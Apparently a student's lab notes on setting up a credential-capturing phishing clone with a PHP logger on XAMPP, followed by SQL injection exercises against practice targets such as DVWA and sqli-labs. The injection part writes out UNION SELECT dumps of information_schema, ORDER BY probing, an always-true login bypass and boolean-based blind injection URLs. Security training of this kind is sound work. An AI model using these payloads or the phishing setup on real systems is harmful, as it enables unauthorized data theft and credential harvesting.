Phishing and HTML Sum
Phishing and HTML Sum
Step 2: paste the html and php file in htdocs folder in xampp
Step 3: start xampp apache and sql server
Phishing
Step 1: take source code from a site and change action to our php file
Step 2: create a php file to capture the username and password and store them in a log file
Step 6: The username and password gets saved in the log file
Date: 16-01-23
Create databases.
23-01-2023
INSERT
Delete
Like
ORDER BY-
UNION
GROUP BY-
EXPERIMENT NO. -5
24-01-2023
3. To merge the data of all the columns, using UNION command to find vulnerable columns.
Table names
UNION SELECT 1,group_concat(table_name),3,4,5,6,7,8,9,10,11 FROM
information_schema.tables WHERE table schema = 'acuart'
Here it shows names of all the tables in the database
Find Columns
UNION SELECT 1,group_concat(column name) ,3,4,5,6,7,8,9,10,11 FROM
information_schema.columns WHERE table_name = 'users'
LOW-LEVEL SECURITY
we enter random user id to get some result here we are using 1 as user id.
To check the SQL injection vulnerability we put “ ’ “ sign after ?id=1’ and then press enter.
We see the SQL error which confirms that this page has SQL Injection vulnerability.
Now we check the number of tables in this page SQL database for this we use “order by 5 - -
+” after “ ?id=1’ ”
so we keep on decreasing the number to get result as we can see on “order by 2” we are
getting some result.
find the vulnerable column using the command “union select 1,2 - -+”.
Here we can see number 1 and 2 is showing on First name and Surname respectively by
seeing this we can conclude that 1 and 2 columns are vulnerable.
Step 1: entered a query 1’ , it shows an error , which means the database is vulnerable and can be
exploited.
Query: 1’ order by 2#
But shows an error while entering 1’ order by 3# which means there are 2 columns that are
vulnerable.
Step 3: checking the columns,
Step 4: checking the database and tables of the database
Which shows there are one database dvwa, and 2 tables by the name users and guestbook
Step5: getting the confidential info from the table “users”:
Low security
1. Entering 1 to shows enteries
10
1. Entering 1’ UNION SELECT 1,group_concat(table_name)FROM
information_schema.tables WHERE table_schema = 'dvwa'#
To get table name doesn’t work
11. inputting x' or 1='1 to get names of users
localhost/sqli-labs-master/Less-8/?id=1
localhost/sqli-labs-master/Less-8/?id=1’
try to find out the number of columns using order by statement.
So, it is responding to boolean values as it is behaving differently when we ask it a true question and
a false question. We can try boolean-based blind SQL injection here.
FLASE CONDITION
http://localhost/sqli/Less-8/?id=1%27%20and%20(length(database()))%20=%201%20--+
TRUE CONDITION
http://localhost/sqli/Less-8/?id=1%27%20and%20(length(database()))%20=%208%20--+
1 and substr(database(),1,1)=’s’--+
1and substr(database(),2,1)=’e’--+